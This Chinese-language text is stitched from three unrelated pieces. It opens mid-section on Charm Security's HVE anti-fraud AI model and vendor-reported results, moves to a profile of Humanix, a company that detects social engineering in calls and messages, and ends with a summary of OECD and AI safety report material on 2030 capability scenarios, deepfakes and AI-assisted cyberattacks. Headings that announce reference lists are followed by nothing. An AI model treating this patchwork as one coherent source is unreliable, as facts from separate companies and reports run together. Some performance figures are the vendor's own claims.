Charm的核心技术创新在于其专利的HVE™（Human Vulnerabilities and Exploit Techniques）AI模型——这是全球首个专门针对人类漏洞与利用技术训练的AI框架。传统反欺诈技术专注于“机器漏洞”（如异常交易模式），而HVE™专注于“人类漏洞”（如心理弱点、认知偏差），从根本上颠覆了反欺诈范式[7]。

3.2.1 HVE™ 模型训练数据

HVE™ 模型的训练体系由行为心理学理论体系、社交工程技术库、实时意图分析引擎三大支柱深度融合构成。

• 在行为心理学层面，模型整合了包含权威服从、紧迫性偏见、稀缺效应、确认偏误等50余种认知偏差库，覆盖恐惧、贪婪、同情、愤怒等情感操纵模式，并实现了Cialdini 影响力六大原则的数字化映射与社会工程学框架落地。

• 在社交工程层面，模型依托包含10000 +种已知诈骗场景的诈骗剧本库，覆盖传统诈骗与AI换脸、Deepfake语音等新兴诈骗类型，同时具备欺诈话术模式识别与跨文化欺诈场景适配能力。

• 在实时意图分析层面，模型可对语言模糊性、回避模式、情感勒索等自然语言欺骗信号进行检测，并融合语音语调、对话节奏、交互模式等多模态风险信号，实现对诈骗意图的精准识别。

3.2.2 HVE™ 工作流

HVE™模型首先通过多源输入层接收语音、文本、视频和行为数据，随后进入特征提取模块，该模块同步分析语言学特征（词汇选择、句式结构、情感极性）、声学特征（音高、音强、语速、停顿）、会话动态（响应时间、话题延续性）以及上下文关联（历史交互、关系图谱）。

经过特征提取后，数据进入HVE™推理引擎，引擎核心包含四大组件：人类漏洞匹配器（检测50+种心理弱点）、社交工程剧本匹配器（匹配10000+欺诈模式）、意图置信度计算器（输出概率分布）和干预策略生成器（提供8类干预路径）。

最终输出层生成三项结果：欺诈风险评估（0-100分）、可解释报告（详细说明判断依据）和建议行动（针对当前场景的处置方案）。

3.2.3HVE™ 核心优势

HVE™ 模型具备三大核心技术优势：一是可解释性，能为每笔风险评估提供清晰的“决策依据”，而非黑盒式输出，便于风控人员理解并追溯风险判断逻辑；二是自适应学习，通过在线学习机制持续吸收新型诈骗特征与行为模式，不断优化检测准确率，实现防御能力的动态进化；三是低误报率，依托对人类意图的深度理解，将传统系统80%以上的误报率大幅降至20%以下，显著降低无效告警对业务的干扰。此外，模型还具备多模态信号融合能力，可整合文本、语音、交互行为等多维度数据，实现对复杂诈骗场景的精准识别；同时支持跨文化场景适配，针对不同国家和地区的社会心理特征进行优化，提升全球范围内的反诈适用性。

根据Charm公布的客户数据，其平台在核心KPI上实现了显著提升：欺诈损失减少幅度从传统系统的10–15%提升至30%以上，提升幅度达2.5倍；手工分类自动率从50%提升至98%，减少80%人工投入；调查时间从平均45分钟缩短至6分钟，效率提升87%；误报率从80%以上降至20%以下，减少60%；同时新增了24/7实时干预能力，在不影响客户体验的前提下提供全天候保护[6]。

在案件处置与闭环管理层面，Charm平台通过端到端的案件全流程记录、清晰的决策依据说明，以及可直接用于管理层汇报的洞察，实现了更高效、更高质量的案件处置，推动持续改进、责任落实与经验沉淀。

Charm与心理健康非营利组织Give an Hour达成深度合作，共同打造反欺诈行业“技术预防+心理恢复”的双轨创新范式[8]。

Give an Hour 成立于2007年，最初面向伊拉克与阿富汗战争退伍军人提供心理支持，长期致力于为军人、退伍军人及其家属提供免费专业心理健康服务，目前服务网络覆盖全美50个州，年服务规模超20000人次，拥有5000余名持证心理咨询师，具备成熟的心理干预体系与专业服务能力[9]。

双方构建了从AI实时识别、主动干预拦截，到受害者心理评估、心理咨询、持续支持与社会信任重建的全流程欺诈事件处理闭环，实现技术防控与心理关怀的无缝衔接。这一合作模式兼具技术与心理双重价值，技术层面依托AI智能体实现24/7实时欺诈预防、主动情报收集与威胁阻断，可降低30%以上欺诈损失；心理层面能够为受骗受害者提供专业心理干预，降低创伤后应激障碍（PTSD）风险，帮助其重建社会信任感，并有效预防心理脆弱期可能出现的“二次受骗”。

作为全球首个将AI反欺诈技术与专业心理支持深度融合的创新实践，该合作将行业传统的“事后补偿”模式升级为“事前预防+事中干预+事后恢复”的全生命周期防护，从纯技术防控转向人机协同、技术效率与人文温度兼备的新模式，把反欺诈的目标从单纯减少资金损失提升至社会信任修复与公众心理健康保护的更高层面。

Charm Security代表了反欺诈技术的第三代演进方向：第一代是20世纪90年代至21世纪初基于规则的交易监控，第二代是2010年代至2020年代由机器学习驱动的异常检测，第三代则是2020年代以来以AI智能体结合心理学为核心的实时干预模式。

借助RSAC创新沙盒带来的行业关注度，Charm有望在2026至2027年加快市场拓展步伐，若其技术路线得到有效验证，或将推动金融安全领域实现范式转变，即从传统的“检测异常交易”转向“理解并保护人的决策过程”。Charm 成功入围本次赛事，不仅是对其技术实力与创新理念的权威认可，更从侧面折射出当前网络安全行业的三大核心发展趋势：

• 一是安全防御重心从传统“保护系统与资产”向“保护人”深度延伸，将终端用户的认知安全、心理安全纳入防御体系，实现人机协同的全维度防护。

• 二是 AI 在安全领域的角色从“辅助工具”升级为“协作伙伴”，逐步具备自主决策、闭环处置与独立完成复杂任务的能力，成为真正意义上的安全智能体。

• 三是学科与领域边界持续消融，网络安全、认知心理学、行为经济学与金融监管等多学科加速交叉渗透、深度融合，推动安全解决方案从技术对抗走向体系化治理。

在生成式AI让诈骗更趋个性化、更难识别的背景下，Charm Security提出了极具前瞻性的解决方案，即以AI对抗AI驱动的诈骗，以心理学破解欺诈中的心理操纵。无论其最终商业成果如何，这种“以人为中心”的安全理念，已为整个网络安全行业指明了新的发展方向。

  参考文献  

Humanix （见图1） 是一家专注于以人为中心的威胁检测与响应，致力于保护企业免受针对“人”的社会工程攻击的网络安全公司，总部位于美国旧金山湾区[1]。其核心理念是：传统安全把大量精力放在系统和边界上，而多数入侵恰恰是从人这一入口得手；Humanix 不依赖无休止的安全意识培训或事后追责，而是为安全团队提供对人际沟通与协作渠道的持续检测与响应能力，在语音、视频、邮件、聊天等渠道中识别操纵、欺骗与冒充，从而保护员工、客户与供应链中的关系。公司主要面向金融、酒店及消费科技等行业的 CISO，重点解决帮助台受持续攻击、宾客安全防护等痛点，践行“保护人而非惩罚人”的安全理念。

在融资方面，Humanix 已获得总计 1800 万美元融资：种子轮由 boldstart ventures 领投，A 轮由 Acrew Capital 领投，Evolution Equity Partners 参与两轮投资；投资方将 Humanix 定义为“人的威胁检测与响应”这一新兴安全品类的开创者，旨在破解当前安全领域的结构性矛盾：尽管 76% 的成功入侵源于针对人而非系统的攻击，但行业在人员保护方面的投入占比却极低 [2]。

Humanix 的创始人兼首席执行官 Keith Stewart （见图2）是一位拥有逾 25 年网络安全与技术管理经验的高管，长期在 Cisco、Brocade、Riverbed、vArmour 等安全与网络厂商负责产品、工程与业务拓展工作，曾多次主导从传统软件到 SaaS 的转型，以及面向大型金融、电信与企业客户的安全解决方案落地 [3]。他在 2025 年 11 月发表的署名文章《Stopping Social Engineering Attacks》中阐述了 Humanix 的创立动机：将社会工程视为与漏洞利用同等的攻击类型，用自然语言层面的检测与响应来应对针对人的攻击，而非一味要求人永远不犯错。上述背景为 Humanix 在“人因安全”这一新兴赛道的产品方向与商业化奠定了基础。

社会工程（Social Engineering）是指攻击者不依赖技术漏洞或恶意代码，而是通过欺骗、操纵、诱导及身份冒充等手法，针对人进行心理与行为上的影响，使受害者在不知情或受诱导的情况下泄露凭证、执行不当操作或违背既有流程，从而为入侵打开入口。典型手段包括钓鱼邮件、借口托辞、技术支持诈骗、商业邮件入侵以及针对帮助台/服务台的电话或即时通讯冒充等。与利用软件漏洞不同，社会工程攻击利用的是“人性的漏洞”，因此传统以系统和边界为主的防护往往难以覆盖，而单纯依靠安全意识培训又难以在实时对话中识破熟练的心理操纵行为。

多家权威报告显示，以人为入口的入侵与损失持续居高不下。Verizon 2024 DBIR 指出，在排除恶意内部滥用后，人为因素仍参与约 68% 的泄露事件；若将内部滥用一并计入，该比例可达约 76%，即多数成功的入侵与人直接相关 [4]。Verizon 2025 DBIR延续了这一趋势：人为因素参与约 60%的泄露，而涉及第三方的泄露占比从约 15% 升至约 30%，供应链与外包服务（如服务台）成为更突出的攻击面 [5]。

FBI IC3, 2024（FBI 互联网犯罪投诉中心发布的 《2024年互联网犯罪报告》）则从损失角度给出量级：2024 年 IC3 接报损失合计约 166 亿美元；其中商业邮件入侵（BEC）报案损失约 27.7 亿美元，技术支持类诈骗报案损失约 14.6 亿美元，二者均与社会工程密切相关 [6]。CrowdStrike《2025 全球威胁报告》进一步指出，语音类社会工程攻击同比增幅达 442%，说明攻击者正更多利用电话、语音等渠道绕过邮件与端点防护 [7]。

上述数据共同说明，社会工程已是当前最主要的入侵路径之一，而帮助台/服务台、邮件与语音等人工交互渠道仍普遍缺乏实时检测与响应能力。

Humanix 创始人 Keith Stewart 曾提及一起造成约 1 亿美元损失的社会工程攻击：攻击者致电帮助台，凭借自信话术与完备信息成功操纵服务人员，而接线员在实时通话中根本无法识破这种心理战术，事后企业却仅对员工进行追责[3]。这与 2023 年 Clorox 遭入侵事件如出一辙：攻击者绕过技术漏洞，直接通过电话冒充员工诱骗外包服务台重置密码与 MFA，最终植入勒索软件并造成约 3.8 亿美元损失[8]。

这些案例深刻揭示了传统防御的盲区：社会工程攻击利用自然语言在语音等沟通渠道发生，传统产品无法“看见”对话中的操纵与冒充，单纯依靠培训也难以在高压实时通话中奏效。正是这类针对“人”的巨大风险，推动了 Humanix 确立产品方向——利用对话式 AI 在语音、视频、邮件等渠道实现对社会工程攻击的实时检测与响应，变“事后追责”为“主动防护”。

Humanix是一套以“人类交互”为核心对象，将安全防护从传统的主机、网络与身份边界扩展到“人类攻击面（Human Layer）” 的检测与响应平台。其核心理念在于：攻击者往往绕过技术防护，通过社会工程手段操纵人员行为，因此安全系统需要直接理解人与人之间的交互内容与语境，从而实现对攻击行为的前置识别与干预[9][10]。

在整体架构上，Humanix 可抽象为一套面向实时交互的分层体系，涵盖数据接入、处理与分析等关键环节。接入层负责采集多渠道的人机交互数据，包括语音通话、即时通信、邮件及工单系统等（见图3），这些数据构成了“人类行为”的主要载体。与传统依赖日志或流量镜像的安全方案不同，该体系直接面向业务沟通场景，从源头获取攻击发生的上下文。

在数据处理层，系统对多模态数据进行统一加工。语音数据通过自动语音识别（ASR）转换为文本，文本、聊天记录及邮件等非结构化数据则进一步进行清洗与结构化处理。同时，系统引入上下文信息进行语义增强，包括用户身份、组织角色、历史行为以及交互关系等，从而构建具备语境理解能力的数据基础。这种“数据+上下文”的融合方式，使得系统不仅能够识别内容本身，还能够理解其发生的环境与合理性[11]。

整体数据处理流程呈现出明显的流式处理特征，即对交互数据进行实时采集、解析与传递，为后续检测提供低延迟的数据支持。这种 Streaming Pipeline 架构能够满足社会工程攻击“短时触发、快速扩散”的特点，使安全系统具备及时响应能力。

从技术特征上看，该架构的关键在于多渠道统一接入、多模态数据融合以及面向实时分析的数据管道。这些能力共同构成了后续 AI 检测与响应机制的基础。

Humanix 的核心能力体现在其AI 检测引擎。该引擎通过语义理解与行为建模相结合，实现对复杂社会工程攻击的识别，相比传统基于规则或关键词的检测方式具有更强的泛化能力。

（1） 对话语义与攻击意图识别

系统基于大模型对交互内容进行上下文级分析，而非单条消息解析。其关注重点不再是“说了什么”，而是“为什么这么说”，即识别潜在的操控意图。例如，在社会工程攻击中，攻击者常通过“权威”与“紧迫性”施压来诱导目标执行敏感操作，这类特征往往隐含在语气与语境之中，而非显式关键词[12]。Humanix 通过语义建模识别冒充、欺骗、紧急请求等攻击模式，实现从表层内容检测向深层意图识别的转变[13]。

（2） 行为与关系建模

系统引入类似“Human Graph”的分析机制，对用户及其交互关系进行建模。该模型不仅刻画用户的角色与权限，还关注其在组织中的交互网络及行为习惯，从而建立行为基线。当出现异常交互模式时（如跨部门异常请求、非典型操作路径等），系统能够识别潜在风险。这种方法相比传统 UEBA，更强调“人与人之间的关系”以及交互语境，避免了单一账户行为分析的局限性[11]。

（3） 多模型融合机制

Humanix 将不同类型的模型能力进行组合：大模型负责语义理解与上下文分析，分类模型用于识别具体攻击类型，行为模型用于检测异常模式，而策略规则引擎则提供辅助决策能力。这种多模型协同方式能够在复杂场景中提升检测准确性，并增强结果的可解释性。例如，在识别“伪装请求”或“前置侦察行为”时，系统需要同时考虑语义特征、历史行为以及跨渠道关联信息[14]。

总体来看，该检测引擎的核心优势在于：通过多模态语义分析、行为建模与模型融合，实现对复杂社会工程攻击的识别能力。这种能力使系统能够在攻击尚未造成实际影响前，识别其潜在风险。

Humanix 构建了以实时响应为核心的安全闭环机制，将风险识别结果转化为可执行的安全控制措施。

（1） 实时检测与响应机制

系统基于流式数据处理实现低延迟风险识别，并结合多源信号进行关联分析。这些信号不仅包括对话语义分析结果，还包括跨渠道交互行为以及认证、访问等系统事件，从而形成更全面的风险判断依据[11]。在此基础上，系统能够进行流程内干预，例如在敏感操作执行前提示用户、触发二次核验或升级验证流程，从而阻断潜在攻击路径。

（2） 闭环体系设计

Humanix 将安全能力归纳为“Detection → Response → Assure”三个阶段：检测阶段负责识别社会工程攻击行为；响应阶段通过实时干预与流程编排降低风险；审计阶段则对事件进行记录与分析，为合规与安全运营提供依据。这种闭环设计使系统不仅具备检测能力，还能够提供可验证的安全保障[9]。

（3） 平台集成能力

Humanix 采用 API-first 架构，支持与企业现有安全体系进行深度融合，包括 SIEM、SOAR、IAM 以及工单系统等。通过跨系统数据关联，平台能够将对话层面的风险与账户行为、访问控制及业务操作进行统一分析，从而识别更复杂的攻击链。例如，通过关联侦察行为与后续认证事件，可以提前发现攻击准备阶段并进行前置处置[14]。

（4） 可观测性与治理能力

系统提供风险态势展示、行为分析与审计报告等功能，支持安全团队进行持续运营。同时，通过对策略违规行为进行上下文化分析，系统能够区分“正常业务变通”与“潜在攻击行为”，减少误报带来的干扰，提高安全运营效率[13]。

综上所述，Humanix 的核心优势在于：将安全能力直接嵌入业务流程，实现实时干预而非事后告警；通过跨系统集成构建统一安全视图；并提供可审计、可运营的安全闭环，使其能够在复杂企业环境中更有效地应对以人为目标的攻击威胁。

传统网络安全体系通常建立在边界防护与特征匹配的技术架构之上，其核心逻辑侧重于识别已知的系统漏洞与恶意代码特征。然而，这种“重技术、轻人因”的防御范式在面对社会工程攻击时表现出显著的局限性。传统方案主要聚焦于基础设施层面的流量审计与访问控制，难以有效洞察复杂人际交互中的语义陷阱与心理诱导机制。攻击者利用这一防御盲区，将攻击重心从技术维度转移至认知维度，导致现有防御体系在面对针对“人”的攻击向量时存在严重的感知缺失与响应滞后，无法覆盖企业安全架构中最为脆弱的风险敞口。

针对上述结构性缺陷，Humanix 提出并构建了一套以“人类交互”为核心的数据驱动安全体系，实现了网络安全防御范式的重要创新。该方案突破了传统安全产品仅关注系统层面的局限，将防护边界延伸至人类行为层面，填补了认知域安全防护的理论与实践空白。在技术实现上，Humanix 利用多模态数据处理技术，融合语音、文本及行为日志等多源异构数据，依托先进的AI检测引擎进行跨渠道数据关联分析与深度语义理解。这种基于多模型融合的分析机制，赋予了系统识别隐蔽性社会工程攻击的能力，从而实现了从“被动响应”向“前置识别与实时干预”的转变。其开创性在于将安全防御的颗粒度细化至交互过程，有效弥补了企业在人员安全防护环节的短板，构建了更为立体、主动的纵深防御体系。

随着生成式AI技术的普及，社会工程攻击正呈现出高度自动化、个性化及难以辨识的演进态势，传统的规则式防御将面临失效风险。Humanix 所倡导的“以人为中心”的智能防御理念，代表了未来安全体系演进的关键方向。

  参考文献  

针对当前AI的发展趋势和不确定性，经合组织基于专家意见和实证进行了情景分析，探讨了到2030年AI的发展趋势。经合组织与《国际AI安全报告》专家团队合作，将这些情景纳入了本报告。到2030年，可能出现以下四类情景。

• 情景1：发展停滞

AI能力基本保持不变。近年来的快速发展陷入停滞。

情景描述：到2030年，AI能够快速完成一系列人类需要数小时才能完成的任务，但稳健性不足和幻觉问题影响了AI的可靠性。AI通常需要大量的人工支持才能完成任务，例如详细的提示、审核和上下文。AI缺少学习新技能或形成记忆、在较长的复杂任务中保持连贯性的能力，还缺少与动态现实世界或社会环境互动的稳健能力。

发展路径：2025年后，现有前沿AI模型的开发方法受到了根本性限制。导致AI发展放缓的原因可能有以下几点：更大规模的训练运行和更强大的推理系统带来的回报递减；获取计算资源或其他关键投入的限制；AI投资的大幅下降；缺乏重大的算法突破。

• 情景2：发展放缓

在现有AI训练方法框架内实现渐进式增长，发展持续但速度放缓。

情景描述：到2030年，AI相当于人类的得力助手。AI拥有深厚的知识库，擅长标准形式的结构化推理，能够有效地执行需要使用计算机、浏览网络或代表用户与他人或服务进行有限互动的任务。AI可以保留相关记忆、保持连贯的思维，通过纠错来完成更长或更复杂的任务。但AI缺乏学习新技能的稳健能力，只能在有限的受控环境中（如工厂或实验室）处理现实任务。

发展路径：2025年后，前沿AI模型研发人员的技术难以克服在持续学习、元认知与能动性、问题解决、创造力、现实任务和社会互动等方面的限制，现有训练范式无法提供完美的解决方案。预训练、推理和训练后处理的技术扩展，再加上算法创新，将继续推动发展，但发展速度将低于近年来的水平，且推理系统的泛化能力未能达到预期。由于投资者从持续投资中看到的回报降低，继续扩展的能力受到阻碍。硬件、基础设施、自然资源、数据供应和能源方面的瓶颈限制了算力和数据的快速扩展。

• 情景3：持续发展

发展持续快速推进。

情景描述：到2030年，AI可与专业人员协作。AI能够成功完成虚拟环境中人类需要一个月才能完成的许多专业任务。AI通常需要人类提供专业指导，但往往能够高度自主地朝着既定目标工作，包括自主与多个相关方交互。AI可以有效地形成和检索记忆，在一定程度上实现边做边学，能够成功处理受控环境之外的现实任务和实际的具体任务。

发展路径：2025年后，通过更大规模的训练运行、更强大的推理系统和新的算法创新，AI能力将继续快速发展。算力和数据投入将继续扩展，在2030年前不会遇到实质性限制，与当前对持续发展的范围估计一致。对现有技术的迭代和扩展，或新的算法创新，将使研发人员能够突破当前在持续学习等方面的限制。

• 情景4：加速发展

AI能力取得巨大突破，在大多数或所有能力上达到或超过人类水平。

情景描述：到2030年，AI相当于人类水平的远程工作者。AI的自主性和认知能力在认知任务上达到或超过人类。AI能够熟练且自主地朝着广泛的战略目标努力，能在环境变化时反思和调整目标，同时在必要时与人类合作。AI可以在部署过程中无缝学习新的信息和技能。AI机器人能够处理现实世界中许多行业和岗位上的复杂任务。但由于实际任务范围较广，AI在这些任务中的表现总体上仍落后于人类，除非是为特定任务专门开发。

发展路径：2025年后，通过持续或加速的预训练、训练后处理和推理技术扩展，现有范式内的AI能力水平将继续呈指数级增长。重大的算法突破以及AI编码助手对AI发展日益重要的贡献，将进一步促进能力的增长。

关于未来AI能力的主要依据缺口包括：预测相关的科学依据有限；AI发展的现实限制的数据不足；以及对自动化在多大程度上能够加速AI发展的理解有限。

首先，研究人员无法准确地预测AI何时会具备某些特定能力，或者扩大关键投入的回报递减将在何处限制AI发展。人类对于基准测试性能与现实世界性能之间的关系仍然缺乏深入理解。因此，虽然可以通过基准测试进行能力预测，但现实世界对其能力的影响具有极高的不确定性。

其次，关于可能限制AI发展的现实限制，相关依据有限。限制包括2030年后训练数据的可用性不明，以及能源生产、芯片制造和资本支出是否能跟上AI发展的需求。

而且，对于AI促进自身研发的反馈循环的实际经验较少。特别是，这一过程需要多少人工监督，以及大规模实验中的慢反馈循环是否会限制加速，存在极大的不确定性。

依据不足问题迫使决策者必须谨慎行事，小心陷阱，一方面可能低估快速涌现的能力，另一方面对可能无法转化为实际应用的技术发展反应过度。决策者需要预设多种情景，针对不同情况制定相应的应急计划。

对于从事AI能力预测工作的决策者而言，主要挑战包括测量工具的不可靠以及特定能力的发展时间的不确定性。当前的基准测试往往无法准确反映AI在现实世界的能力，促使人们加大力度开发更具挑战性和现实性的评估技术。例如，即使一个AI模型在编程基准测试中达到90%的准确率，也并不意味着它能够构建功能完善的软件应用程序。由于训练效率提升、推理时优化和架构创新等关键指标的相关数据有限，对算法效率提升的预测具有极大的不确定性。例如，虽然对语言模型算法效率的研究表明，基于之前的数据点，效率每年提升3倍，但无法排除每年2-6倍的提升率范围。

预测方面的挑战加剧了能力发展轨迹的不确定性，针对不同的发展轨迹，需要制定截然不同的政策措施。如果算法技术按照当前估计的上限继续发展，到2030年，AI可能只需1/10至1/100的算力就能实现同等能力。因此，监管机构需要考虑能够适应或稳健应对AI发展速度以及AI发展（尤其是所需资源方面）快速变化的框架。为了减少不确定性，决策者应监测具体指标，包括对现实世界任务的评估、算法创新速度以及AI能力的涌现。

AI在现实世界中已经造成了危害。攻击者利用AI生成的内容实施诈骗，AI由于错误和意外行为产生了有害输出，AI部署还对劳动力市场、信息生态系统和网络安全系统产生了影响。此外，AI能力的进步也会带来潜在的风险。

攻击者利用AI生成的虚假内容十分逼真，用于实施诈骗、勒索等犯罪活动。AI极大地简化了大规模制造虚假内容的过程，伪造的内容可用于骚扰或伤害个人。然而，尽管已有严重伤害的案例记录，但关于事件发生频率和严重程度的公开数据仍然有限，难以综合评估风险。

2025年以来，AI生成的内容更难与真实内容区分。在一项研究中，经过五分钟的对话，参与者将OpenAI的GPT-4o模型生成的文本误认为是人工撰写的比例高达77%。还有研究表明，人们难以识别深度伪造内容，往往无异于随机猜测。针对音频深度伪造的问题，一项研究发现，人们在80%的情况下将AI语音误认为是真人，这表明AI冒充真人的风险有所上升。但结合视频、音频和文本的多模态AI输出似乎比单独的文本或音频更容易被检测到。

警告标识和AI检测工具等帮助人们检测AI生成的虚假内容的方法并非次次有效。AI和机器学习工具可以通过训练来检测图像和视频中的异常，从而识别虚假图像，但有效性有限。例如，一项研究发现，AI生成视频上的警告标识将参与者识别AI生成视频的准确率从10.7%提高到了21.6%，但大多数人仍然无法识别出深度伪造内容。除此之外，还可限制对AI的访问（如仅允许经过审核的用户访问）以及实施保护措施（如分类器、过滤器或规则，防止AI生成有害或误导性内容）。然而，对于开源权重模型，攻击者可以绕过这些措施。

水印和内容日志是验证内容真实性的有效方法，但面临技术缺陷和隐私问题。水印涉及在内容创建过程中嵌入机器可读的数字签名，对其来源和真实性进行自动化可追溯验证。

研究人员提议使用水印帮助用户识别视频、图像、音频和文本等AI生成的内容。但攻击者可以删除单独的水印或骗过检测器，降低有效性，尤其是在开源权重模型的情况下。

可以在真实媒体中嵌入水印或安全元数据（如可验证的来源和创建记录）。例如，可以要求记录设备嵌入特殊的数字签名，帮助区分使用设备拍摄的记录与AI生成的内容。还可以维护AI输出的日志，通过比较来识别AI新生成的内容。但这种方法面临可扩展性的问题，容易被规避，可能引发与记录用户交互相关的隐私问题。缓解措施本身并非万无一失，但新的研究表明，在更广泛的标准和政策生态系统中综合使用多种缓解措施，可以弥补各自的局限性，帮助用户更可靠地检测AI生成的内容。

决策者面临统计数据不可靠、技术限制以及技术的快速发展等挑战，难以全面评估AI生成的有害内容的规模，并选择有效的干预措施。检测技术和水印技术虽有所改进，但有效性并不稳定，面临技术挑战。AI内容生成技术的发展也可能削弱措施的有效性。

与通常用于评估深度伪造内容的基准相比，现实世界中的深度伪造内容更具欺骗性。决策者可能需要采用多层技术检测AI生成内容，才能使效果稳定有效。还要注意，即使内容被明确识别为AI生成内容，该内容也可能造成危害，仅靠检测无法解决所有风险。

攻击者可以利用AI以更快的速度实施更大规模和更高复杂性的网络攻击，例如数据泄露、勒索软件攻击和对关键基础设施的攻击。AI在不同任务上的能力发展不均衡，但仍可以通过任务自动化、识别软件漏洞和生成恶意代码帮助攻击者实施攻击。

• AI可贯穿网络攻击全阶段

大量研究表明，AI可以在网络攻击的多个阶段中为攻击者提供支持（见图2.1）。在典型的攻击中，攻击者首先识别目标和漏洞，开发和部署攻击能力，最后保持持续访问以达到数据窃取或系统破坏等目的。软件工程等相关AI能力的进步引发了人们的担忧，AI可能会同时增加网络攻击的频率和严重程度。

地下市场开始出售AI工具和AI生成的勒索软件，降低了实施攻击的技术门槛，更容易被技术水平较低的攻击者获取。AI研发人员进行的安全分析表明，国家支持的黑客团伙使用AI增强其网络攻击能力。例如，攻击者使用AI分析已披露的漏洞、开发规避技术、编写黑客工具的代码。

AI能力在网络攻击相关的所有任务中都有所进步，但发展不均衡（见图2.1）。大型训练数据集使AI特别擅长某些任务，例如发现公开代码中的漏洞，而在某些任务上的能力可能不足，例如破解加密所需的精确数值推理。

能力不均衡意味着AI在现实世界中提供的攻击能力有限。例如，AI的源代码分析能力的评估结果无法可靠地迁移到攻击者无法访问底层代码的环境中。大多数评估还会测试某项单独的能力，而非从头到尾执行完整攻击的能力。最近，AI在夺旗竞赛（结构化网络安全挑战）中能力表现出色，但也存在能力不均衡的问题。例如，某个AI模型在2025年高中级别的picoCTF竞赛中排名前3%，但在专业级别的PlaidCTF竞赛中未能解决任何挑战。